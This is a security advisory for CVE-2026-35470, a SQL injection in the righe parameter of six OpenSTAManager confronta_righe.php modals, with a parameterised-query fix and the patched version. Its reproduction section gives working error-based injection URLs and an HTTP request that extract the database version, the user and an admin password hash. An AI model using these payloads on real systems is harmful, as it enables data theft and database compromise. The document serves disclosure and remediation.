Advisory

GHSA-mmm5-3g4x-qw39

Also known as: CVE-2026-35470

Summary

OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals

Details

Description

Six confronta_righe.php files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation.

An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.

Affected Files

All 6 vulnerable files share the same code pattern:

| # | File | Line | Affected Table |
|---|------|------|----------------|
| 1 | modules/fatture/modals/confronta_righe.php | 29 | co_righe_documenti |
| 2 | modules/interventi/modals/confronta_righe.php | 29 | in_righe_interventi |
| 3 | modules/preventivi/modals/confronta_righe.php | 28 | co_righe_preventivi |
| 4 | modules/ordini/modals/confronta_righe.php | 29 | or_righe_ordini |
| 5 | modules/ddt/modals/confronta_righe.php | 29 | dt_righe_ddt |
| 6 | modules/contratti/modals/confronta_righe.php | 28 | co_righe_contratti |

Vulnerable Code

All files follow the same pattern. Example from modules/interventi/modals/confronta_righe.php:

$righe = $_GET['righe'];  // Line 29 — No sanitization

$righe = $dbo->fetchArray(
    'SELECT
        `mg_articoli_lang`.`title`,
        `mg_articoli`.`codice`,
        `in_righe_interventi`.*
    FROM
        `in_righe_interventi`
        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`
        LEFT JOIN `mg_articoli_lang` ON (...)
    WHERE
        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41 — Direct concatenation
);

The value of $_GET['righe'] is inserted directly into the SQL IN() clause without using prepare(), parameterized statements or any sanitization function.

Reproduction

Prerequisites

  • Authenticated session (any user with module access)
  • At least one existing record in the target module (e.g. an intervention with id=1)

Step 1: Extract MySQL version

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23

Result: XPATH syntax error: '~8.3.0'

Step 2: Extract database user

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23

Result: XPATH syntax error: '[email protected]'

Step 3: Extract admin credentials

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23

Result: XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Evidence

<img width="1254" height="395" alt="image" src="https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429" />

HTTP Request

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<SESSION_ID>

Response (excerpt)

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Impact

  • Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information
  • Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries
  • Availability (High): Deletion of tables or critical data, database corruption

Remediation

Recommended Fix

Use parameterized statements with prepare() for the righe parameter:

// BEFORE (vulnerable):
$righe = $_GET['righe'];
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'
);

// AFTER (secure):
$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));
$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',
    $righe_ids
);

This fix must be applied to all 6 files listed in the "Affected Files" section.

Credits
Omar Ramirez

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-04-03 21:57 UTC
Modified
2026-04-03 22:11 UTC

Affected packages and fixes

devcode-it/openstamanager

Packagist · All systems

Affected

  • introduced 0, fixed 2.10.2 (ecosystem)

Fixed versions

2.10.2

Fix

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Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

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View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences